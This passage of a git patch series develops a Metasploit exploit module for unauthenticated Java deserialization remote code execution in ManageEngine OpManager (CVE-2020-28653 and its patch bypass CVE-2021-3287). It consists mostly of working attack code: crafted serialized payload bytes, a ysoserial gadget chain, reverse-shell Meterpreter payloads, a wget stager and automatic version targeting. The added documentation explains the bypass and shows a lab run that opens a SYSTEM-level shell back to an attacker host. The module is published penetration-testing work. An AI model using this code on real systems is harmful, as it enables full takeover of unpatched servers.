Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::JavaDeserialization + include Msf::Exploit::Powershell def initialize(info = {}) - super(update_info(info, - 'Name' => 'ManageEngine OpManager SumPDU Java Deserialization', - 'Description' => %q{ - - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'ManageEngine OpManager SumPDU Java Deserialization', + 'Description' => %q{ + }, + 'Author' => [ 'Spencer McIntyre', # Metasploit module ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], - 'References' => - [ + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'References' => [ [ 'CVE', '2021-3287' ], [ 'URL', 'https://haxolot.com/posts/2021/manageengine_opmanager_pre_auth_rce/' ] ], - 'Privileged' => true, - 'Targets' => [ + 'Privileged' => true, + 'Targets' => [ [ 'Windows Command', { @@ -45,7 +45,7 @@ def initialize(info = {}) { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :win_dropper, - 'CmdStagerFlavor' => :certutil, # This works without issue + # 'CmdStagerFlavor' => :certutil, # This works without issue 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } @@ -61,32 +61,40 @@ def initialize(info = {}) } } ] - ], - 'DefaultOptions' => { - 'RPORT' => 8060, - }, - 'DefaultTarget' => 0, - 'DisclosureDate' => '2021-07-26')) + ], + 'DefaultOptions' => { + 'RPORT' => 8060 + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2021-07-26', + 'Notes' => { + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ ARTIFACTS_ON_DISK ], + 'Stability' => [ CRASH_SAFE ] + } + ) + ) register_options([ - OptString.new('TARGETURI', [ true, "OpManager path", '/']) + OptString.new('TARGETURI', [ true, 'OpManager path', '/']) ]) end def check - # todo: write this + # TODO: write this return Exploit::CheckCode::Unknown end def exploit # Step 1: Establish a valid HTTP session res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path), + 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true }) - unless res&.code == 200 && res.headers['Set-Cookie'].to_s =~ /JSESSIONID=/ + unless res&.code == 200 && res.get_cookies =~ /JSESSIONID=/ fail_with(Failure::UnexpectedReply, 'Failed to establish an HTTP session') end + print_status('An HTTP session cookie has been issued') # Step 2: Add the requestHandler to the HTTP session res = send_request_cgi({ @@ -99,6 +107,7 @@ def exploit unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to setup the HTTP session') end + print_status('The request handler has been associated with the HTTP session') # Step 3: Exploit the deserialization vulnerability to run commands case target['Type'] @@ -120,7 +129,7 @@ def execute_command(cmd, _opts = {}) # the frohoff/ysoserial#168 gadget chain is a derivative of CommonsBeanutils1 that has been updated to remove the # dependency on the commons-collections library making it usable in this context - java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('frohoff/ysoserial#168', cmd) + java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('frohoff/ysoserial#168', "cmd.exe /c #{cmd}") res = send_request_cgi({ 'method' => 'POST', @@ -128,5 +137,6 @@ def execute_command(cmd, _opts = {}) 'keep_cookies' => true, 'data' => [ java_payload.length ].pack('N') + java_payload }) + fail_with(Failure::UnexpectedReply, 'Failed to execute the command') unless res&.code == 200 end end From 3986707895305d2fc02662e2a06d1385edd47dba Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 13 Sep 2021 16:14:46 -0400 Subject: [PATCH 07/13] Add and test the remaining targets --- .../http/opmanager_sumpdu_deserialization.rb | 87 ++++++++++++++++--- 1 file changed, 73 insertions(+), 14 deletions(-) diff --git a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb index 1661713debc6..d276454c6fb9 100644 --- a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb +++ b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb @@ -17,13 +17,19 @@ def initialize(info = {}) info, 'Name' => 'ManageEngine OpManager SumPDU Java Deserialization', 'Description' => %q{ + An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged to + deserialize an arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS + commands in the context of the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This + vulnerability is also present in other products that are built on top of the OpManager application. }, 'Author' => [ - 'Spencer McIntyre', # Metasploit module + 'Johannes Moritz', # Original Vulnerability Research + 'Robin Peraglie', # Original Vulnerability Research + 'Spencer McIntyre' # Metasploit module ], 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64], + 'Platform' => [ 'win', 'linux', 'python', 'unix' ], 'References' => [ [ 'CVE', '2021-3287' ], [ 'URL', 'https://haxolot.com/posts/2021/manageengine_opmanager_pre_auth_rce/' ] @@ -34,6 +40,7 @@ def initialize(info = {}) 'Windows Command', { 'Arch' => ARCH_CMD, + 'Platform' => 'win', 'Type' => :win_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' @@ -44,22 +51,54 @@ def initialize(info = {}) 'Windows Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], + 'Platform' => 'win', 'Type' => :win_dropper, - # 'CmdStagerFlavor' => :certutil, # This works without issue 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ], [ - 'PowerShell Stager', + 'Windows PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64], - 'Type' => :psh_stager, + 'Platform' => 'win', + 'Type' => :win_psh, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } + ], + [ + 'Unix Command', + { + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Type' => :nix_cmd + } + ], + [ + 'Linux Dropper', + { + 'Arch' => [ARCH_X86, ARCH_X64], + 'Platform' => 'linux', + 'Type' => :nix_dropper, + 'DefaultOptions' => { + 'CMDSTAGER::FLAVOR' => 'wget', + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' + } + } + ], + [ + 'Python', + { + 'Arch' => ARCH_PYTHON, + 'Platform' => 'python', + 'Type' => :python, + 'DefaultOptions' => { + 'PAYLOAD' => 'python/meterpreter/reverse_tcp' + } + } ] ], 'DefaultOptions' => { @@ -81,8 +120,17 @@ def initialize(info = {}) end def check - # TODO: write this - return Exploit::CheckCode::Unknown + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'), + # Serialized int 1002 + 'data' => "\xac\xed\x00\x05\x77\x04\x00\x00\x03\xea".b + }) + return Exploit::CheckCode::Unknown unless res + # the patched version will respond back with 200 OK and no data in the response body + return Exploit::CheckCode::Safe unless res.code == 200 && res.body.start_with?("\xac\xed\x00\x05".b) + + Exploit::CheckCode::Appears end def exploit @@ -111,25 +159,36 @@ def exploit # Step 3: Exploit the deserialization vulnerability to run commands case target['Type'] - when :win_cmd - execute_command(payload.encoded) + when :nix_dropper + execute_cmdstager when :win_dropper execute_cmdstager - when :psh_stager + when :win_psh execute_command(cmd_psh_payload( payload.encoded, payload.arch.first, remove_comspec: true )) + else + execute_command(payload.encoded) end end def execute_command(cmd, _opts = {}) - vprint_status("Executing command: #{cmd}") - # the frohoff/ysoserial#168 gadget chain is a derivative of CommonsBeanutils1 that has been updated to remove the # dependency on the commons-collections library making it usable in this context - java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('frohoff/ysoserial#168', "cmd.exe /c #{cmd}") + case target['Platform'] + when 'python' + cmd.prepend('python -c ') + when 'win' + cmd.prepend('cmd.exe /c ') + else + cmd.gsub!(/\s+/, '${IFS}') + cmd.prepend('sh -c ') + end + + vprint_status("Executing command: #{cmd}") + java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('frohoff/ysoserial#168', cmd) res = send_request_cgi({ 'method' => 'POST', From d82ed7d4a22eea773399435dd839f97aa5e7a83c Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 13 Sep 2021 16:54:55 -0400 Subject: [PATCH 08/13] Write up the module docs --- .../http/opmanager_sumpdu_deserialization.md | 90 +++++++++++++++++++ .../http/opmanager_sumpdu_deserialization.rb | 3 +- 2 files changed, 92 insertions(+), 1 deletion(-) create mode 100644 documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md diff --git a/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md b/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md new file mode 100644 index 000000000000..59bc600b29f9 --- /dev/null +++ b/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md @@ -0,0 +1,90 @@ +## Vulnerable Application + +### Description + +An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged to deserialize an +arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS commands in the context of +the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This vulnerability is also present in other +products that are built on top of the OpManager application. This vulnerability affects OpManager versions 12.1 - +12.5.232. + +### Setup (Windows) + +1. Download an affected version for either Windows or Linux from the [archive][0] +1. Run the installer executable +1. Accept the default values for all settings (skip registration), until the very end when prompted to start the + application +1. Unselect the option to start the application + 1. If this option is missed, just navigate to the tray icon where it will say that it's starting and select the + option to stop it +1. Start a command prompt as an administrative user +1. Navigate to `C:\Program Files\ManageEngine\OpManager\bin`, older versions use `C:\ManageEngine\OpManager\bin` +1. Run `run.bat` +1. View and accept the license terms +1. Press `f` to run the product in Free mode + +OpManager should start successfully after a few minutes. At that point the service can be exploited. In this case the +session will be opened in the context of the user that ran the service with `run.bat`. Once the server is restarted and +OpManager starts automatically, the vulnerability can be exploited to open a session in the context of NT +AUTHORITY\SYSTEM. + +### Setup (Linux) + +1. Download an affected version for either Windows or Linux from the [archive][0] +1. Run the installer executable as root +1. Accept the default values for all settings (skip registration) +1. Navigate to `/opt/ManageEngine/OpManagerCentral/bin` +1. Run `run.sh` as root + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploit/multi/http/opmanager_sumpdu_deserialization` +1. Set the `RHOSTS`, `TARGET`, `PAYLOAD` and payload-related options as necessary +1. Do: `run` +1. You should get a shell. + +## Options + +## Scenarios + +### Windows Server 2019 x64 w/ ManageEngine OpManager v12.5.174 + +``` +msf6 > use exploit/multi/http/opmanager_sumpdu_deserialization +[*] Using configured payload cmd/windows/powershell_reverse_tcp +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set RHOSTS 192.168.159.10 +RHOSTS => 192.168.159.10 +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set TARGET Windows\ PowerShell +TARGET => Windows PowerShell +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set PAYLOAD windows/x64/meterpreter/reverse_tcp +PAYLOAD => windows/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set LHOST 192.168.159.128 +LHOST => 192.168.159.128 +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > check +[*] 192.168.159.10:8060 - The target appears to be vulnerable. +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > exploit + +[*] Started reverse TCP handler on 192.168.159.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[*] An HTTP session cookie has been issued +[*] The request handler has been associated with the HTTP session +[*] Sending stage (200262 bytes) to 192.168.159.10 +[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.10:50295) at 2021-09-13 16:31:45 -0400 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-3MSP8K2LCGC +OS : Windows 2016+ (10.0 Build 17763). +Architecture : x64 +System Language : en_US +Domain : MSFLAB +Logged On Users : 7 +Meterpreter : x64/windows +meterpreter > +``` + +[0]: https://archives.manageengine.com/opmanager/ diff --git a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb index d276454c6fb9..d526ee97781b 100644 --- a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb +++ b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb @@ -20,7 +20,8 @@ def initialize(info = {}) An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged to deserialize an arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS commands in the context of the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This - vulnerability is also present in other products that are built on top of the OpManager application. + vulnerability is also present in other products that are built on top of the OpManager application. This + vulnerability affects OpManager versions 12.1 - 12.5.232. }, 'Author' => [ 'Johannes Moritz', # Original Vulnerability Research From fb74888a3196e411e08cfc29f3bd9bc94001c8c9 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 15 Sep 2021 08:42:55 -0400 Subject: [PATCH 09/13] Correct the CVE reference --- .../exploits/multi/http/opmanager_sumpdu_deserialization.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb index d526ee97781b..8fd8bc4f5e23 100644 --- a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb +++ b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb @@ -32,7 +32,8 @@ def initialize(info = {}) 'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64], 'Platform' => [ 'win', 'linux', 'python', 'unix' ], 'References' => [ - [ 'CVE', '2021-3287' ], + [ 'CVE', '2020-28653' ], # original CVE + # [ 'CVE', '2021-3287' ], # patch bypass [ 'URL', 'https://haxolot.com/posts/2021/manageengine_opmanager_pre_auth_rce/' ] ], 'Privileged' => true, From 9f971e8716888ec19b1db05b02657358ed76f552 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 16 Sep 2021 09:26:56 -0400 Subject: [PATCH 10/13] Update the module for CVE-2021-3287 --- .../http/opmanager_sumpdu_deserialization.rb | 69 +++++++++++++++---- 1 file changed, 56 insertions(+), 13 deletions(-) diff --git a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb index 8fd8bc4f5e23..c524d1d76700 100644 --- a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb +++ b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb @@ -10,6 +10,11 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell + include Rex::Java + + JAVA_SERIALIZED_STRING = [ Serialization::TC_STRING, 0 ].pack('Cn') + JAVA_SERIALIZED_STRING_ARRAY = "\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e"\ + "\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x00".b def initialize(info = {}) super( @@ -33,7 +38,7 @@ def initialize(info = {}) 'Platform' => [ 'win', 'linux', 'python', 'unix' ], 'References' => [ [ 'CVE', '2020-28653' ], # original CVE - # [ 'CVE', '2021-3287' ], # patch bypass + [ 'CVE', '2021-3287' ], # patch bypass [ 'URL', 'https://haxolot.com/posts/2021/manageengine_opmanager_pre_auth_rce/' ] ], 'Privileged' => true, @@ -125,8 +130,7 @@ def check res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'), - # Serialized int 1002 - 'data' => "\xac\xed\x00\x05\x77\x04\x00\x00\x03\xea".b + 'data' => build_java_serialized_int(1002) }) return Exploit::CheckCode::Unknown unless res # the patched version will respond back with 200 OK and no data in the response body @@ -151,14 +155,15 @@ def exploit 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'), 'keep_cookies' => true, - # Serialized int 1002 - 'data' => "\xac\xed\x00\x05\x77\x04\x00\x00\x03\xea".b + 'data' => build_java_serialized_int(1002) }) unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to setup the HTTP session') end print_status('The request handler has been associated with the HTTP session') + send_sumpdu(build_sumpdu(data: build_java_serialized_int(0))) + # Step 3: Exploit the deserialization vulnerability to run commands case target['Type'] when :nix_dropper @@ -176,9 +181,42 @@ def exploit end end + def build_java_serialized_int(int) + stream = Serialization::Model::Stream.new + stream.contents << Serialization::Model::BlockData.new(stream, [ int ].pack('N')) + stream.encode + end + + def build_sumpdu(data: '') + # build a serialized SUMPDU object with a custom data block + sumpdu = "\xac\xed\x00\x05\x73\x72\x00\x27\x63\x6f\x6d\x2e\x61\x64\x76\x65".b + sumpdu << "\x6e\x74\x6e\x65\x74\x2e\x74\x6f\x6f\x6c\x73\x2e\x73\x75\x6d\x2e".b + sumpdu << "\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x2e\x53\x55\x4d\x50\x44\x55\x24".b + sumpdu << "\x29\xfc\x8a\x86\x1b\xfd\xed\x03\x00\x03\x5b\x00\x04\x64\x61\x74".b + sumpdu << "\x61\x74\x00\x02\x5b\x42\x4c\x00\x02\x69\x64\x74\x00\x12\x4c\x6a".b + sumpdu << "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b".b + sumpdu << "\x4c\x00\x08\x75\x6e\x69\x71\x75\x65\x49\x44\x71\x00\x7e\x00\x02".b + sumpdu << "\x78\x70\x7a" + [ 0x14 + data.length ].pack('N') + sumpdu << "\x00\x0c\x4f\x50\x45\x4e\x5f\x53\x45\x53\x53\x49\x4f\x4e\x00\x00".b + sumpdu << "\x00\x00" + sumpdu << [ data.length ].pack('n') + data + sumpdu << "\x78".b + sumpdu + end + + def send_sumpdu(sumpdu) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMCommunicationServlet'), + 'keep_cookies' => true, + 'data' => [ sumpdu.length ].pack('N') + sumpdu + }) + res + end + def execute_command(cmd, _opts = {}) - # the frohoff/ysoserial#168 gadget chain is a derivative of CommonsBeanutils1 that has been updated to remove the - # dependency on the commons-collections library making it usable in this context + # An executable needs to be prefixed to the command to make it compatible with the way in which the gadget chain + # will execute it. case target['Platform'] when 'python' cmd.prepend('python -c ') @@ -190,14 +228,19 @@ def execute_command(cmd, _opts = {}) end vprint_status("Executing command: #{cmd}") + # the frohoff/ysoserial#168 gadget chain is a derivative of CommonsBeanutils1 that has been updated to remove the + # dependency on the commons-collections library making it usable in this context java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('frohoff/ysoserial#168', cmd) - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMCommunicationServlet'), - 'keep_cookies' => true, - 'data' => [ java_payload.length ].pack('N') + java_payload - }) + pdu_data = build_java_serialized_int(2) + pdu_data << JAVA_SERIALIZED_STRING + pdu_data << JAVA_SERIALIZED_STRING + pdu_data << JAVA_SERIALIZED_STRING + pdu_data << JAVA_SERIALIZED_STRING_ARRAY + pdu_data << Serialization::TC_RESET + pdu_data << java_payload.delete_prefix("\xac\xed\x00\x05".b) + + res = send_sumpdu(build_sumpdu(data: pdu_data)) fail_with(Failure::UnexpectedReply, 'Failed to execute the command') unless res&.code == 200 end end From fd0f565095f4c9cb64502765d645f088f11930c1 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 16 Sep 2021 15:15:52 -0400 Subject: [PATCH 11/13] Add automatic targeting for the CVEs --- .../http/opmanager_sumpdu_deserialization.md | 50 +++++++++++++---- .../http/opmanager_sumpdu_deserialization.rb | 55 +++++++++++++++---- 2 files changed, 81 insertions(+), 24 deletions(-) diff --git a/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md b/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md index 59bc600b29f9..11c4b9767982 100644 --- a/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md +++ b/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md @@ -6,7 +6,28 @@ An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager compon arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS commands in the context of the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This vulnerability is also present in other products that are built on top of the OpManager application. This vulnerability affects OpManager versions 12.1 - -12.5.232. +12.5.328. + +#### CVE-2020-28653 +This vulnerability affects OpManager versions 12.1 - 12.5.232. The vulnerability involves sending a malicious PDU to the +SmartUpdateManager handler that when deserialized executes an arbitary OS command. + +#### CVE-2021-3287 +This vulnerability is a patch bypass for CVE-2020-28653 and affects OpManger versions 12.5.233 - 12.5.328. When the +original vulnerability was patched, it was done so using a new `ITOMObjectInputStream` deserializer class. This object +has a flaw in it's validation logic. The object works by requiring the caller to specify a list of one or more object +classes that can be deserialized. If an instance is used to perform more than one `readObject` call however, only the +first is protected because once a serialized object of an allowed type is read from the stream, the +`ITOMObjectInputStream` instance remains in a sort of authenticated state where subsequent objects can be read of any +type. + +The exploit technique for this CVE leverages this by first sending a legitimate, serialized SUMPDU to create an instance +of the `SUMServerIOAndDataAnalyzer` object whose `process` method makes multiple `readObject` calls using the same +instance for each. + +Unlike exploiting CVE-2020-28653, to exploit CVE-2021-3287 the target server must have the SUM server running. This is +not the case for the standard installer, but is the case for "Central" variant. Without the SUM server running, the log +handler is not initialized which causes the request handler to crash making the vulnerable code path inaccessible. ### Setup (Windows) @@ -47,44 +68,49 @@ AUTHORITY\SYSTEM. ## Options +### CVE +Vulnerability to use. If set to 'Automatic' (the default), the module will attempt to detect the version and select the +correct vulnerability. + ## Scenarios -### Windows Server 2019 x64 w/ ManageEngine OpManager v12.5.174 +### Windows Server 2019 x64 w/ ManageEngine OpManager v12.5.328 ``` msf6 > use exploit/multi/http/opmanager_sumpdu_deserialization -[*] Using configured payload cmd/windows/powershell_reverse_tcp -msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set RHOSTS 192.168.159.10 -RHOSTS => 192.168.159.10 +[*] Using configured payload windows/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set RHOSTS 192.168.159.96 +RHOSTS => 192.168.159.96 msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set TARGET Windows\ PowerShell TARGET => Windows PowerShell msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set LHOST 192.168.159.128 +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > check -[*] 192.168.159.10:8060 - The target appears to be vulnerable. +[*] 192.168.159.96:8060 - The target appears to be vulnerable. msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. [*] An HTTP session cookie has been issued +[*] Detected version: 12.5.328 [*] The request handler has been associated with the HTTP session -[*] Sending stage (200262 bytes) to 192.168.159.10 -[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.10:50295) at 2021-09-13 16:31:45 -0400 +[*] Sending stage (200262 bytes) to 192.168.159.96 +[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.96:63887) at 2021-09-16 14:06:27 -0400 meterpreter > getuid -Server username: NT AUTHORITY\SYSTEM +Server username: MSFLAB\smcintyre meterpreter > sysinfo Computer : WIN-3MSP8K2LCGC OS : Windows 2016+ (10.0 Build 17763). Architecture : x64 System Language : en_US Domain : MSFLAB -Logged On Users : 7 +Logged On Users : 9 Meterpreter : x64/windows -meterpreter > +meterpreter > ``` [0]: https://archives.manageengine.com/opmanager/ diff --git a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb index c524d1d76700..f206e6c61ac8 100644 --- a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb +++ b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb @@ -26,7 +26,7 @@ def initialize(info = {}) deserialize an arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS commands in the context of the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This vulnerability is also present in other products that are built on top of the OpManager application. This - vulnerability affects OpManager versions 12.1 - 12.5.232. + vulnerability affects OpManager versions 12.1 - 12.5.328. }, 'Author' => [ 'Johannes Moritz', # Original Vulnerability Research @@ -122,7 +122,8 @@ def initialize(info = {}) ) register_options([ - OptString.new('TARGETURI', [ true, 'OpManager path', '/']) + OptString.new('TARGETURI', [ true, 'OpManager path', '/']), + OptEnum.new('CVE', [ true, 'Vulnerability to use', 'Automatic', [ 'Automatic', 'CVE-2020-28653', 'CVE-2021-3287' ] ]) ]) end @@ -136,7 +137,7 @@ def check # the patched version will respond back with 200 OK and no data in the response body return Exploit::CheckCode::Safe unless res.code == 200 && res.body.start_with?("\xac\xed\x00\x05".b) - Exploit::CheckCode::Appears + Exploit::CheckCode::Detected end def exploit @@ -149,6 +150,24 @@ def exploit fail_with(Failure::UnexpectedReply, 'Failed to establish an HTTP session') end print_status('An HTTP session cookie has been issued') + if (@vulnerability = datastore['CVE']) == 'Automatic' + # if selecting the vulnerability automatically, use version detection + if (version = res.body[%r{(?<=cachestart/)(\d{6})(?=/cacheend)}]&.to_i).nil? + fail_with(Failure::UnexpectedReply, 'Could not identify the remote version number') + end + + version = Rex::Version.new("#{version / 10000}.#{(version % 10000) / 1000}.#{version % 1000}") + print_status("Detected version: #{version}") + if version < Rex::Version.new('12.1') + fail_with(Failure::NotVulnerable, 'Versions < 12.1 are not affected by the vulnerability') + elsif version < Rex::Version.new('12.5.233') + @vulnerability = 'CVE-2020-28653' + elsif version < Rex::Version.new('12.5.329') + @vulnerability = 'CVE-2021-3287' + else + fail_with(Failure::NotVulnerable, 'Versions > 12.5.328 are not affected by this vulnerability') + end + end # Step 2: Add the requestHandler to the HTTP session res = send_request_cgi({ @@ -162,7 +181,11 @@ def exploit end print_status('The request handler has been associated with the HTTP session') - send_sumpdu(build_sumpdu(data: build_java_serialized_int(0))) + if @vulnerability == 'CVE-2021-3287' + # need to send an OPEN_SESSION request to the SUM PDU handler so the SUMServerIOAndDataAnalyzer object is + # initialized and made ready to process subsequent requests + send_sumpdu(build_sumpdu(data: build_java_serialized_int(0))) + end # Step 3: Exploit the deserialization vulnerability to run commands case target['Type'] @@ -232,15 +255,23 @@ def execute_command(cmd, _opts = {}) # dependency on the commons-collections library making it usable in this context java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('frohoff/ysoserial#168', cmd) - pdu_data = build_java_serialized_int(2) - pdu_data << JAVA_SERIALIZED_STRING - pdu_data << JAVA_SERIALIZED_STRING - pdu_data << JAVA_SERIALIZED_STRING - pdu_data << JAVA_SERIALIZED_STRING_ARRAY - pdu_data << Serialization::TC_RESET - pdu_data << java_payload.delete_prefix("\xac\xed\x00\x05".b) + if @vulnerability == 'CVE-2020-28653' + # in this version, the SUM PDU that is deserialized is the malicious object + sum_pdu = java_payload + elsif @vulnerability == 'CVE-2021-3287' + # the patch bypass exploits a flaw in the ITOMObjectInputStream where it can be put into a state that allows + # arbitrary objects to be deserialized by first sending an object of the expected type + pdu_data = build_java_serialized_int(2) # 2 is some kind of control code necessary to execute the desired code path + pdu_data << JAVA_SERIALIZED_STRING + pdu_data << JAVA_SERIALIZED_STRING + pdu_data << JAVA_SERIALIZED_STRING + pdu_data << JAVA_SERIALIZED_STRING_ARRAY + pdu_data << Serialization::TC_RESET + pdu_data << java_payload.delete_prefix("\xac\xed\x00\x05".b) + sum_pdu = build_sumpdu(data: pdu_data) + end - res = send_sumpdu(build_sumpdu(data: pdu_data)) + res = send_sumpdu(sum_pdu) fail_with(Failure::UnexpectedReply, 'Failed to execute the command') unless res&.code == 200 end end From 4bccc0541fca74c126930f5e4e0b0a93f5d56652 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 16 Sep 2021 17:08:23 -0400 Subject: [PATCH 12/13] Add a note about exploitable versions --- .../exploits/multi/http/opmanager_sumpdu_deserialization.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb index f206e6c61ac8..a18f1d219243 100644 --- a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb +++ b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb @@ -27,6 +27,10 @@ def initialize(info = {}) commands in the context of the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This vulnerability is also present in other products that are built on top of the OpManager application. This vulnerability affects OpManager versions 12.1 - 12.5.328. + + Automatic CVE selection only works for newer targets when the build number is present in the logon page. Due + to issues with the serialized payload this module is incompatible with versions prior to 12.3.238 despite them + technically being 